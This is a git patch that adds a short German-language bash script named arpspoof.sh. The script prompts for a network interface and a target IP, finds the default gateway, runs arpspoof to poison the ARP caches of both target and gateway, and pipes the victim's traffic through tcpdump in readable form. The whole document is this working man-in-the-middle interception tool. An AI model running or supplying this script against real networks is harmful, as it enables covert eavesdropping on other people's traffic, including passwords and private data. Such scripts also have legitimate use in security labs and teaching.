From c18584367420484424d18aec2c349cf7f28802ee Mon Sep 17 00:00:00 2001 From: simon Date: Tue, 12 Sep 2017 01:28:58 +0200 Subject: [PATCH] arpspoof --- arpspoof.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 arpspoof.sh diff --git a/arpspoof.sh b/arpspoof.sh new file mode 100755 index 0000000..89749c3 --- /dev/null +++ b/arpspoof.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +set -ex + +read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul +read -p "Wie heisst die IP? : " ip + +gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) + +arpspoof -i $modul -t $ip -r $gateway & + +tcpdump -i $modul -A host $ip